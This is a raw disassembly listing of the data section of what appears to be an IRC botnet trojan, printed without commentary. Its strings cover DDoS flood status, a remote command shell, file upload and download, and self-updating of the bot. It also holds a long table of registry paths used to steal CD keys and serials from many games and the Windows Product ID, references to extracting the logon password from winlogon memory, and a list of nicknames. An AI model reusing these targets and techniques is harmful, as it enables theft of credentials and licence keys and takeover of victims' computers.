49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_43616C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436180 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 4 dword_4361B8 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_4361CC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361E0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361FC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 4 dd 80000001h off_43622C dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436238 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 4373BCh, 4373B0h, 4373A0h, 2 dup(0) dd 80000001h, 437380h, 43737Ch, 437368h, 2 dup(0) dd 80000001h, 437344h, 43737Ch, 437338h, 2 dup(0) dd 80000001h, 437314h, 43730Ch, 4372F8h, 2 dup(0) dd 80000001h, 4372E4h, 4372D4h, 4372B8h, 2 dup(0) dd 80000001h, 437274h, 4373FCh, 437260h, 2 dup(0) dd 80000002h, 437234h, 437228h, 437208h, 2 dup(0) dd 80000002h, 4371D4h, 4373FCh, 4371BCh, 2 dup(0) dd 80000002h, 437188h, 4373FCh, 437170h, 2 dup(0) dd 80000002h, 437158h, 4373FCh, 437140h, 2 dup(0) dd 80000002h, 437104h, 43D158h, 4370F4h, 2 dup(0) dd 80000002h, 4370BCh, 43D158h, 4370A8h, 2 dup(0) dd 80000002h, 43705Ch, 43D158h, 43703Ch, 2 dup(0) dd 80000002h, 436FECh, 43D158h, 436FC0h, 2 dup(0) dd 80000002h, 436F84h, 43D158h, 436F70h, 2 dup(0) dd 80000002h, 436F38h, 43D158h, 436F28h, 2 dup(0) dd 80000002h, 436ED8h, 43D158h, 436EACh, 2 dup(0) dd 80000002h, 436E6Ch, 43D158h, 436E50h, 2 dup(0) dd 80000002h, 436E20h, 43D158h, 436E00h, 2 dup(0) dd 80000002h, 436DC4h, 43D158h, 436DB0h, 2 dup(0) dd 80000002h, 436D68h, 43D158h, 436D48h, 2 dup(0) dd 80000002h, 436CF4h, 43D158h, 436CC4h, 2 dup(0) dd 80000002h, 436C74h, 43D158h, 436C48h, 2 dup(0) dd 80000002h, 436C08h, 436C00h, 436BE0h, 2 dup(0) dd 80000002h, 436B9Ch, 43D158h, 436B80h, 2 dup(0) dd 80000002h, 436B34h, 43D158h, 436B10h, 2 dup(0) dd 80000002h, 436ADCh, 43D158h, 436AD0h, 2 dup(0) dd 80000002h, 436A9Ch, 43D158h, 436A90h, 2 dup(0) dd 80000002h, 436A5Ch, 43D158h, 436A50h, 2 dup(0) dd 80000002h, 436A1Ch, 43D158h, 436A10h, 2 dup(0) dd 80000002h, 4369D4h, 43D158h, 4369C0h, 2 dup(0) dd 80000002h, 436984h, 43D158h, 436970h, 2 dup(0) dd 80000002h, 436940h, 4373FCh, 436924h, 2 dup(0) dd 80000002h, 436904h, 4368FCh, 4368D8h, 2 dup(0) dd 80000002h, 4368BCh, 4368FCh, 43689Ch, 2 dup(0) dd 80000002h, 43687Ch, 4368FCh, 436858h, 2 dup(0) dd 80000002h, 436840h, 4368FCh, 43683Ch, 2 dup(0) dd 80000002h, 436820h, 436810h, 436808h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_4367D4[eax], al push eax retn 42h ; --------------------------------------------------------------------------- dd offset aHiddenDangerou ; "Hidden & Dangerous 2" dd 2 dup(0) dd 80000002h, 436780h, 436774h, 43674Ch, 43673Ch, 436728h dd 80000002h, 436704h, 4366F8h, 4366E4h, 4366D4h, 4366CCh dd 80000002h, 436704h, 4366F8h, 4366A0h, 4366D4h, 436698h dd 80000002h, 436704h, 4366F8h, 436668h, 4366D4h, 436660h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365DCo align 4 byte_4367D4 db 53h ; DATA XREF: ___:004365D2w aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436234o aCdkey db 'CDKey',0 ; DATA XREF: ___:00436230o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_43622Co align 4 asc_43742C: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_437430 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_4374AC db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_4374D0 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374E8 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_437514 db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_437538 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437550 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437568 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_437588 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4375AC db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_4375D0 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375FC db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43761C db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_43764C db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_43767C db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4376A8 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376DC db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_437720 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_43773C db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437774 db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_43779C db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_4377C8 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_4377F0 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_437818 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 4 off_437868 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_43786C dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 10h unk_437880 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4378BC db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437968 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43799C db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_437A00 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A5C dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A74 dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 4 unk_437B38 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B84 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437BD4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437C28 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" dd offset dword_4387D8 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" ; --------------------------------------------------------------------------- aam 87h inc ebx add [eax+0C0042AAh], ch retn ; --------------------------------------------------------------------------- dw 42h dd offset aP ; "p" dd offset aA ; "a" dd offset aS_0 ; "s" dd offset aD ; "d" dd offset dword_4387D0 dd offset dword_4387CC dd offset dword_4387C8 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_4387C4 dd offset dword_4387C0 dd offset dword_4387BC dd offset aC ; "c" dd offset aV ; "v" dd offset dword_4387B8 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4387B4 dd offset dword_4387B0 dd offset dword_4387AC dd offset dword_4387A8 dd offset dword_4387A4 dd offset word_4387A0 dd offset dword_43879C dd offset aI_0 ; "I" dd offset dword_438798 dd offset dword_438794 dd offset aA_0 ; "A" dd offset dword_438790 dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset dword_438780 dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset dword_438768 dd offset dword_438764 dd offset dword_438760 dd offset word_43875C dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384F4 dd offset off_4384F0 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_43835C dd offset 